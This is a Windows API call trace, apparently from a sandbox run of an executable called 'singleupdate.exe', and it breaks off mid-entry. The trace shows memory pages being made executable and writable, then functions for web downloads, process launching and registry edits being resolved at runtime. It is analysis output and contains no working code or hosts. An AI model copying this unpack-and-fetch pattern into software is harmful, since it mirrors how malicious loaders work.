[0165.703] VirtualProtect (in: lpAddress=0x427000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.703] VirtualProtect (in: lpAddress=0x428000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.703] VirtualProtect (in: lpAddress=0x429000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.703] VirtualProtect (in: lpAddress=0x42a000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.704] VirtualProtect (in: lpAddress=0x42b000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.704] VirtualProtect (in: lpAddress=0x42c000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.704] VirtualProtect (in: lpAddress=0x42d000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.704] VirtualProtect (in: lpAddress=0x42e000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.704] VirtualProtect (in: lpAddress=0x42f000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.705] VirtualProtect (in: lpAddress=0x430000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.705] VirtualProtect (in: lpAddress=0x431000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.706] VirtualProtect (in: lpAddress=0x432000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.706] VirtualProtect (in: lpAddress=0x433000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.707] VirtualProtect (in: lpAddress=0x434000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.707] VirtualProtect (in: lpAddress=0x435000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.707] VirtualProtect (in: lpAddress=0x436000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.707] VirtualProtect (in: lpAddress=0x437000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.708] VirtualProtect (in: lpAddress=0x438000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.708] VirtualProtect (in: lpAddress=0x439000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.708] VirtualProtect (in: lpAddress=0x43a000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.708] VirtualProtect (in: lpAddress=0x43b000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.709] VirtualProtect (in: lpAddress=0x43c000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.709] VirtualProtect (in: lpAddress=0x43d000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.718] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x75bb0000 [0165.718] GetProcAddress (hModule=0x75bb0000, lpProcName="SysFreeString") returned 0x75bcb920 [0165.718] GetProcAddress (hModule=0x75bb0000, lpProcName="SysReAllocStringLen") returned 0x75bd1500 [0165.719] GetProcAddress (hModule=0x75bb0000, lpProcName="SysAllocStringLen") returned 0x75bcb7e0 [0165.719] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x761b0000 [0165.719] GetProcAddress (hModule=0x761b0000, lpProcName="RegQueryValueExA") returned 0x761cf020 [0165.719] GetProcAddress (hModule=0x761b0000, lpProcName="RegOpenKeyExA") returned 0x761cf210 [0165.719] GetProcAddress (hModule=0x761b0000, lpProcName="RegCloseKey") returned 0x761ced60 [0165.719] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74b70000 [0165.719] GetProcAddress (hModule=0x74b70000, lpProcName="GetKeyboardType") returned 0x74be8d80 [0165.719] GetProcAddress (hModule=0x74b70000, lpProcName="DestroyWindow") returned 0x74ba3160 [0165.720] GetProcAddress (hModule=0x74b70000, lpProcName="LoadStringA") returned 0x74b8d7b0 [0165.720] GetProcAddress (hModule=0x74b70000, lpProcName="MessageBoxA") returned 0x74bdd740 [0165.720] GetProcAddress (hModule=0x74b70000, lpProcName="CharNextA") returned 0x74b8bf60 [0165.720] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000 [0165.720] GetProcAddress (hModule=0x75e90000, lpProcName="GetACP") returned 0x75ea4ca0 [0165.720] GetProcAddress (hModule=0x75e90000, lpProcName="Sleep") returned 0x75ea6760 [0165.720] GetProcAddress (hModule=0x75e90000, lpProcName="VirtualFree") returned 0x75ea69d0 [0165.720] GetProcAddress (hModule=0x75e90000, lpProcName="VirtualAlloc") returned 0x75ea6970 [0165.720] GetProcAddress (hModule=0x75e90000, lpProcName="GetTickCount") returned 0x75efdd50 [0165.721] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceCounter") returned 0x75ea5da0 [0165.721] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentThreadId") returned 0x75ea8820 [0165.721] GetProcAddress (hModule=0x75e90000, lpProcName="VirtualQuery") returned 0x75ea6a70 [0165.721] GetProcAddress (hModule=0x75e90000, lpProcName="WideCharToMultiByte") returned 0x75ea6b10 [0165.721] GetProcAddress (hModule=0x75e90000, lpProcName="MultiByteToWideChar") returned 0x75ea5c40 [0165.721] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenA") returned 0x75ea6c50 [0165.721] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcpynA") returned 0x75ea6c10 [0165.722] GetProcAddress (hModule=0x75e90000, lpProcName="LoadLibraryExA") returned 0x75ea5aa0 [0165.722] GetProcAddress (hModule=0x75e90000, lpProcName="GetThreadLocale") returned 0x75ea5600 [0165.722] GetProcAddress (hModule=0x75e90000, lpProcName="GetStartupInfoA") returned 0x75ee28e0 [0165.722] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcAddress") returned 0x75ea51b0 [0165.722] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleA") returned 0x75ea50b0 [0165.722] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleFileNameA") returned 0x75ea5070 [0165.722] GetProcAddress (hModule=0x75e90000, lpProcName="GetLocaleInfoA") returned 0x75ea5020 [0165.722] GetProcAddress (hModule=0x75e90000, lpProcName="GetCommandLineA") returned 0x75ea4cb0 [0165.722] GetProcAddress (hModule=0x75e90000, lpProcName="FreeLibrary") returned 0x75ea4c40 [0165.722] GetProcAddress (hModule=0x75e90000, lpProcName="FindFirstFileA") returned 0x75efedb0 [0165.723] GetProcAddress (hModule=0x75e90000, lpProcName="FindClose") returned 0x75efed70 [0165.723] GetProcAddress (hModule=0x75e90000, lpProcName="ExitProcess") returned 0x75ea3cb0 [0165.723] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThread") returned 0x75ea46b0 [0165.723] GetProcAddress (hModule=0x75e90000, lpProcName="WriteFile") returned 0x75eff180 [0165.723] GetProcAddress (hModule=0x75e90000, lpProcName="UnhandledExceptionFilter") returned 0x75ea68d0 [0165.723] GetProcAddress (hModule=0x75e90000, lpProcName="RtlUnwind") returned 0x75ea7c10 [0165.723] GetProcAddress (hModule=0x75e90000, lpProcName="RaiseException") returned 0x75ea5e20 [0165.723] GetProcAddress (hModule=0x75e90000, lpProcName="GetStdHandle") returned 0x75ea5330 [0165.723] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000 [0165.724] GetProcAddress (hModule=0x75e90000, lpProcName="TlsSetValue") returned 0x75ea6870 [0165.724] GetProcAddress (hModule=0x75e90000, lpProcName="TlsGetValue") returned 0x75ea6850 [0165.724] GetProcAddress (hModule=0x75e90000, lpProcName="LocalAlloc") returned 0x75ea5b20 [0165.724] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleA") returned 0x75ea50b0 [0165.724] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74b70000 [0165.724] GetProcAddress (hModule=0x74b70000, lpProcName="TranslateMessage") returned 0x74b9f900 [0165.724] GetProcAddress (hModule=0x74b70000, lpProcName="SystemParametersInfoW") returned 0x74b9f210 [0165.724] GetProcAddress (hModule=0x74b70000, lpProcName="PeekMessageA") returned 0x74b887a0 [0165.724] GetProcAddress (hModule=0x74b70000, lpProcName="MessageBoxA") returned 0x74bdd740 [0165.725] GetProcAddress (hModule=0x74b70000, lpProcName="LoadStringA") returned 0x74b8d7b0 [0165.725] GetProcAddress (hModule=0x74b70000, lpProcName="GetSystemMetrics") returned 0x74b9ddc0 [0165.725] GetProcAddress (hModule=0x74b70000, lpProcName="GetLastInputInfo") returned 0x74b8bd10 [0165.725] GetProcAddress (hModule=0x74b70000, lpProcName="DispatchMessageA") returned 0x74b8fd80 [0165.725] GetProcAddress (hModule=0x74b70000, lpProcName="CharNextW") returned 0x74ba1130 [0165.725] GetProcAddress (hModule=0x74b70000, lpProcName="CharLowerBuffW") returned 0x74b934a0 [0165.725] GetProcAddress (hModule=0x74b70000, lpProcName="CharNextA") returned 0x74b8bf60 [0165.725] GetProcAddress (hModule=0x74b70000, lpProcName="CharLowerBuffA") returned 0x74be75b0 [0165.725] GetProcAddress (hModule=0x74b70000, lpProcName="CharUpperBuffA") returned 0x74be7650 [0165.726] GetProcAddress (hModule=0x74b70000, lpProcName="CharToOemA") returned 0x74bdf020 [0165.726] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000 [0165.726] GetProcAddress (hModule=0x75e90000, lpProcName="WriteFile") returned 0x75eff180 [0165.726] GetProcAddress (hModule=0x75e90000, lpProcName="WinExec") returned 0x75ee2b00 [0165.726] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForSingleObject") returned 0x75efeca0 [0165.726] GetProcAddress (hModule=0x75e90000, lpProcName="VirtualQuery") returned 0x75ea6a70 [0165.726] GetProcAddress (hModule=0x75e90000, lpProcName="TerminateProcess") returned 0x75ea67e0 [0165.726] GetProcAddress (hModule=0x75e90000, lpProcName="SizeofResource") returned 0x75ea6740 [0165.726] GetProcAddress (hModule=0x75e90000, lpProcName="SetFileTime") returned 0x75eff140 [0165.727] GetProcAddress (hModule=0x75e90000, lpProcName="SetFilePointer") returned 0x75eff120 [0165.727] GetProcAddress (hModule=0x75e90000, lpProcName="SetFileAttributesW") returned 0x75eff100 [0165.727] GetProcAddress (hModule=0x75e90000, lpProcName="SetEndOfFile") returned 0x75eff0e0 [0165.727] GetProcAddress (hModule=0x75e90000, lpProcName="ReadFile") returned 0x75eff090 [0165.727] GetProcAddress (hModule=0x75e90000, lpProcName="OpenProcess") returned 0x75ea5cc0 [0165.727] GetProcAddress (hModule=0x75e90000, lpProcName="OpenMutexA") returned 0x75ede030 [0165.727] GetProcAddress (hModule=0x75e90000, lpProcName="MoveFileW") returned 0x75ede500 [0165.727] GetProcAddress (hModule=0x75e90000, lpProcName="LockResource") returned 0x75ea5bc0 [0165.727] GetProcAddress (hModule=0x75e90000, lpProcName="LoadResource") returned 0x75ea5b00 [0165.728] GetProcAddress (hModule=0x75e90000, lpProcName="LoadLibraryA") returned 0x75ea5a80 [0165.728] GetProcAddress (hModule=0x75e90000, lpProcName="LeaveCriticalSection") returned 0x77bfb250 [0165.728] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeCriticalSection") returned 0x77c0af20 [0165.728] GetProcAddress (hModule=0x75e90000, lpProcName="GlobalUnlock") returned 0x75ee44e0 [0165.728] GetProcAddress (hModule=0x75e90000, lpProcName="GlobalReAlloc") returned 0x75ee3f90 [0165.728] GetProcAddress (hModule=0x75e90000, lpProcName="GlobalHandle") returned 0x75ee4420 [0165.728] GetProcAddress (hModule=0x75e90000, lpProcName="GlobalLock") returned 0x75ee42f0 [0165.728] GetProcAddress (hModule=0x75e90000, lpProcName="GlobalFree") returned 0x75ea1ee0 [0165.728] GetProcAddress (hModule=0x75e90000, lpProcName="GlobalAlloc") returned 0x75ea5750 [0165.729] GetProcAddress (hModule=0x75e90000, lpProcName="GetVersionExA") returned 0x75ea56d0 [0165.729] GetProcAddress (hModule=0x75e90000, lpProcName="GetTickCount") returned 0x75efdd50 [0165.729] GetProcAddress (hModule=0x75e90000, lpProcName="GetThreadLocale") returned 0x75ea5600 [0165.729] GetProcAddress (hModule=0x75e90000, lpProcName="GetStdHandle") returned 0x75ea5330 [0165.729] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcAddress") returned 0x75ea51b0 [0165.729] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleA") returned 0x75ea50b0 [0165.729] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleFileNameW") returned 0x75ea5090 [0165.729] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleFileNameA") returned 0x75ea5070 [0165.730] GetProcAddress (hModule=0x75e90000, lpProcName="GetLocaleInfoA") returned 0x75ea5020 [0165.730] GetProcAddress (hModule=0x75e90000, lpProcName="GetLocalTime") returned 0x75ea5060 [0165.730] GetProcAddress (hModule=0x75e90000, lpProcName="GetLastError") returned 0x75ea5010 [0165.730] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileAttributesA") returned 0x75efeee0 [0165.730] GetProcAddress (hModule=0x75e90000, lpProcName="GetEnvironmentVariableA") returned 0x75ea4f90 [0165.730] GetProcAddress (hModule=0x75e90000, lpProcName="GetDiskFreeSpaceA") returned 0x75efee80 [0165.768] GetProcAddress (hModule=0x75e90000, lpProcName="GetDateFormatA") returned 0x75ea76e0 [0165.768] GetProcAddress (hModule=0x75e90000, lpProcName="GetCommandLineW") returned 0x75ea4cc0 [0165.768] GetProcAddress (hModule=0x75e90000, lpProcName="GetCPInfo") returned 0x75ea4d10 [0165.768] GetProcAddress (hModule=0x75e90000, lpProcName="FreeResource") returned 0x75ea4c80 [0165.768] GetProcAddress (hModule=0x75e90000, lpProcName="FreeLibrary") returned 0x75ea4c40 [0165.768] GetProcAddress (hModule=0x75e90000, lpProcName="FormatMessageA") returned 0x75ea4bc0 [0165.769] GetProcAddress (hModule=0x75e90000, lpProcName="FindResourceA") returned 0x75ee27c0 [0165.769] GetProcAddress (hModule=0x75e90000, lpProcName="FindNextFileW") returned 0x75efee40 [0165.769] GetProcAddress (hModule=0x75e90000, lpProcName="FindFirstFileW") returned 0x75efedf0 [0165.769] GetProcAddress (hModule=0x75e90000, lpProcName="FindClose") returned 0x75efed70 [0165.769] GetProcAddress (hModule=0x75e90000, lpProcName="FileTimeToLocalFileTime") returned 0x75efed60 [0165.769] GetProcAddress (hModule=0x75e90000, lpProcName="FileTimeToDosDateTime") returned 0x75ee1eb0 [0165.769] GetProcAddress (hModule=0x75e90000, lpProcName="ExitProcess") returned 0x75ea3cb0 [0165.769] GetProcAddress (hModule=0x75e90000, lpProcName="EnumCalendarInfoA") returned 0x75ebc0d0 [0165.770] GetProcAddress (hModule=0x75e90000, lpProcName="EnterCriticalSection") returned 0x77bfb2d0 [0165.770] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteFileW") returned 0x75efed40 [0165.770] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteCriticalSection") returned 0x77bdfb90 [0165.770] GetProcAddress (hModule=0x75e90000, lpProcName="CreateProcessW") returned 0x75ea4610 [0165.770] GetProcAddress (hModule=0x75e90000, lpProcName="CreateProcessA") returned 0x75ea45b0 [0165.770] GetProcAddress (hModule=0x75e90000, lpProcName="CreatePipe") returned 0x75ea4590 [0165.770] GetProcAddress (hModule=0x75e90000, lpProcName="CreateMutexA") returned 0x75efeb40 [0165.770] GetProcAddress (hModule=0x75e90000, lpProcName="CreateFileW") returned 0x75efed10 [0165.770] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringA") returned 0x75ea4410 [0165.771] GetProcAddress (hModule=0x75e90000, lpProcName="CloseHandle") returned 0x75efeab0 [0165.771] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x761b0000 [0165.771] GetProcAddress (hModule=0x761b0000, lpProcName="RegSetValueExA") returned 0x761cffc0 [0165.771] GetProcAddress (hModule=0x761b0000, lpProcName="RegQueryValueExA") returned 0x761cf020 [0165.771] GetProcAddress (hModule=0x761b0000, lpProcName="RegOpenKeyExA") returned 0x761cf210 [0165.771] GetProcAddress (hModule=0x761b0000, lpProcName="RegEnumValueA") returned 0x761d1940 [0165.771] GetProcAddress (hModule=0x761b0000, lpProcName="RegEnumKeyExA") returned 0x761d1960 [0165.771] GetProcAddress (hModule=0x761b0000, lpProcName="RegDeleteValueA") returned 0x761d07a0 [0165.771] GetProcAddress (hModule=0x761b0000, lpProcName="RegDeleteKeyA") returned 0x761cf8c0 [0165.772] GetProcAddress (hModule=0x761b0000, lpProcName="RegCreateKeyExA") returned 0x761cf560 [0165.772] GetProcAddress (hModule=0x761b0000, lpProcName="RegCloseKey") returned 0x761ced60 [0165.772] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000 [0165.772] GetProcAddress (hModule=0x75e90000, lpProcName="Sleep") returned 0x75ea6760 [0165.772] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x73070000 [0168.333] GetProcAddress (hModule=0x73070000, lpProcName="InternetReadFile") returned 0x731a3a70 [0168.333] GetProcAddress (hModule=0x73070000, lpProcName="InternetOpenUrlA") returned 0x7326e8c0 [0168.333] GetProcAddress (hModule=0x73070000, lpProcName="InternetOpenA") returned 0x7318f1a0 [0168.333] GetProcAddress (hModule=0x73070000, lpProcName="InternetCloseHandle") returned 0x7317d000 [0168.333] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x76480000 [0168.334] GetProcAddress (hModule=0x76480000, lpProcName="ShellExecuteW") returned 0x765e42e0 [0168.334] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x76480000 [0168.334] GetProcAddress (hModule=0x76480000, lpProcName="SHGetSpecialFolderLocation") returned 0x765e3790 [0168.334] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x76480000 [0168.334] GetProcAddress (hModule=0x76480000, lpProcName="SHGetPathFromIDListW") returned 0x7658bda0 [0168.334] GetProcAddress (hModule=0x76480000, lpProcName="SHGetMalloc") returned 0x765edf80 [0168.334] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x75bb0000 [0168.335] GetProcAddress (hModule=0x75bb0000, lpProcName="SafeArrayPtrOfIndex") returned 0x75bd6670 [0168.335] GetProcAddress (hModule=0x75bb0000, lpProcName="SafeArrayGetUBound") returned 0x75bd5460 [0168.335] GetProcAddress (hModule=0x75bb0000, lpProcName="SafeArrayGetLBound") returned 0x75bd5ea0 [0168.335] GetProcAddress (hModule=0x75bb0000, lpProcName="SafeArrayCreate") returned 0x75bd0340 [0168.335] GetProcAddress (hModule=0x75bb0000, lpProcName="VariantChangeType") returned 0x75bca5e0 [0168.335] GetProcAddress (hModule=0x75bb0000, lpProcName="VariantCopy") returned 0x75be9dc0 [0168.336] GetProcAddress (hModule=0x75bb0000, lpProcName="VariantClear") returned 0x75be9db0 [0168.336] GetProcAddress (hModule=0x75bb0000, lpProcName="VariantInit") returned 0x75be9de0 [0168.336] VirtualProtect (in: lpAddress=0x400000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 1 [0168.336] VirtualProtect (in: lpAddress=0x401000, dwSize=0x2c1a0, flNewProtect=0x20, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 1 [0168.337] VirtualProtect (in: lpAddress=0x42e000, dwSize=0x2b4, flNewProtect=0x20, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 1 [0168.337] VirtualProtect (in: lpAddress=0x42f000, dwSize=0x2cc4, flNewProtect=0x4, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 1 [0168.338] VirtualProtect (in: lpAddress=0x432000, dwSize=0x62d4, flNewProtect=0x4, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 1 [0168.338] VirtualProtect (in: lpAddress=0x439000, dwSize=0x10ec, flNewProtect=0x4, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 1 [0168.338] VirtualProtect (in: lpAddress=0x43b000, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 1 [0168.339] VirtualProtect (in: lpAddress=0x43c000, dwSize=0x18, flNewProtect=0x2, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 1 [0168.339] VirtualProtect (in: lpAddress=0x43d000, dwSize=0x0, flNewProtect=0x2, lpflOldProtect=0x19f2d8 | out: lpflOldProtect=0x19f2d8*=0x40) returned 0 [0168.339] GetModuleHandleA (lpModuleName="ntdll") returned 0x77bb0000 [0168.339] GetModuleHandleA (lpModuleName="ntdll") returned 0x77bb0000 [0168.340] GetModuleHandleA (lpModuleName="ntdll") returned 0x77bb0000 [0168.441] GetKeyboardType (nTypeFlag=0) returned 4 [0168.446] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" " [0168.446] GetStartupInfoA (in: lpStartupInfo=0x19f29c | out: lpStartupInfo=0x19f29c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0168.446] GetACP () returned 0x4e4 [0168.446] GetCurrentThreadId () returned 0x720 [0168.446] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x19e18c, nSize=0x105 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\singleupdate.exe")) returned 0x28 [0168.446] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x19e067, nSize=0x105 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\singleupdate.exe")) returned 0x28 [0168.446] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19e17c | out: phkResult=0x19e17c*=0x0) returned 0x2 [0168.448] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19e17c | out: phkResult=0x19e17c*=0x0) returned 0x2 [0168.448] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x19e17c | out: phkResult=0x19e17c*=0x0) returned 0x2 [0168.449] lstrcpynA (in: lpString1=0x19e067, lpString2="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", iMaxLength=261 | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe") returned="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe" [0168.449] GetThreadLocale () returned 0x409 [0168.449] GetLocaleInfoA (in: Locale=0x409, LCType=0x3, lpLCData=0x19e177, cchData=5 | out: lpLCData="ENU") returned 4 [0168.543] lstrlenA (lpString="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe") returned 40 [0168.543] lstrcpynA (in: lpString1=0x19e08c, lpString2="ENU", iMaxLength=224 | out: lpString1="ENU") returned="ENU" [0168.543] LoadLibraryExA (lpLibFileName="C:\\Users\\FD1HVy\\Desktop\\singleupdate.ENU", hFile=0x0, dwFlags=0x2) returned 0x0 [0168.543] lstrcpynA (in: lpString1=0x19e08c, lpString2="EN", iMaxLength=224 | out: lpString1="EN") returned="EN" [0168.543] LoadLibraryExA (lpLibFileName="C:\\Users\\FD1HVy\\Desktop\\singleupdate.EN", hFile=0x0, dwFlags=0x2) returned 0x0 [0168.543] LoadStringA (in: hInstance=0x400000, uID=0xffc1, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.543] LoadStringA (in: hInstance=0x400000, uID=0xffc0, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.543] LoadStringA (in: hInstance=0x400000, uID=0xffde, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.543] LoadStringA (in: hInstance=0x400000, uID=0xffdf, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.543] LoadStringA (in: hInstance=0x400000, uID=0xffd2, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.543] LoadStringA (in: hInstance=0x400000, uID=0xffda, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.544] LoadStringA (in: hInstance=0x400000, uID=0xffd1, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.544] LoadStringA (in: hInstance=0x400000, uID=0xffee, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.544] LoadStringA (in: hInstance=0x400000, uID=0xffd5, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.544] LoadStringA (in: hInstance=0x400000, uID=0xffd4, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.544] LoadStringA (in: hInstance=0x400000, uID=0xffe7, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.544] LoadStringA (in: hInstance=0x400000, uID=0xffe8, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.544] LoadStringA (in: hInstance=0x400000, uID=0xffe9, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.544] LoadStringA (in: hInstance=0x400000, uID=0xffe6, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.544] LoadStringA (in: hInstance=0x400000, uID=0xffe4, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.544] LoadStringA (in: hInstance=0x400000, uID=0xffe2, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.544] LoadStringA (in: hInstance=0x400000, uID=0xffe1, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.544] LoadStringA (in: hInstance=0x400000, uID=0xffe0, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.544] LoadStringA (in: hInstance=0x400000, uID=0xffff, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.544] LoadStringA (in: hInstance=0x400000, uID=0xfffe, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.544] LoadStringA (in: hInstance=0x400000, uID=0xfffd, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.544] LoadStringA (in: hInstance=0x400000, uID=0xfffc, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.544] LoadStringA (in: hInstance=0x400000, uID=0xfffb, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.544] LoadStringA (in: hInstance=0x400000, uID=0xfffa, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.544] LoadStringA (in: hInstance=0x400000, uID=0xfff9, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.544] LoadStringA (in: hInstance=0x400000, uID=0xfff8, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.544] LoadStringA (in: hInstance=0x400000, uID=0xfff7, lpBuffer=0x19e2bc, cchBufferMax=4096 | out: lpBuffer="") returned 0x0 [0168.544] LoadStringA (in: 